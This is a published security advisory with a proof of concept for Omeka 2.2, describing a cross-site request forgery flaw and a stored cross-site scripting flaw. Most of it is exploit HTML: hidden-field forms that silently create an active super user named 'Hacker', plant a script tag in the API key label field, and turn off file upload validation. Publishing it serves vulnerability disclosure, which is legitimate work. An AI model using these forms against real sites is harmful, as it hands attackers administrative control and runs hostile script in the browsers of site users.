Omeka 2.2 - Cross-Site Request Forgery / Persistent Cross-Site Scripting








Omeka 2.2 CSRF And Stored XSS Vulnerability

Vendor: Omeka Team (CHNM GMU)
Product web page:
Affected version: 2.2

Summary: Omeka is a free, flexible, and open source web-publishing
platform for the display of library, museum, archives, and scholarly
collections and exhibitions. Its 'five-minute setup' makes launching
an online exhibition as easy as launching a blog.

Desc: Omeka version 2.2 suffers from a cross-site request forgery and
a stored xss vulnerability. The application allows users to perform
certain actions via HTTP requests without performing any validity
checks to verify the requests. This can be exploited to perform
certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to the 'api_key_label' POST
parameter is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a
user's browser session in context of an affected site.

Tested on: Kali Linux 3.7-trunk-686-pae
           Apache/2.2.22 (Debian)
           PHP 5.4.4-13(apache2handler)
           MySQL 5.5.28

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2014-5193
Advisory URL:




<title>Omeka 2.2 CSRF And Stored XSS Vulnerability</title>

<!-- CSRF Add Super User & Activate -->
<!-- Roles: Super, Admin, Researcher, Contributor -->

<form action="" method="POST">
<input type="hidden" name="username" value="Hacker" />
<input type="hidden" name="name" value="CSRF" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="submit" value="Add+User" />
<input type="submit" value="Add Super User" />

<!-- CSRF Add Persistent XSS -->

<form action="" method="POST">
<input type="hidden" name="api_key_label" value='<script>location.href=""</script>' />
<input type="hidden" name="update_api_keys" value="Update+API+Keys" />
<input type="submit" value="Insert Script" />

<!-- CSRF Disable File Validation -->

<form action="" method="POST">
<input type="hidden" name="disable_default_file_validation" value="1" />
<input type="hidden" name="submit" value="Save+Changes" />
<input type="submit" value="Disable File Validation" />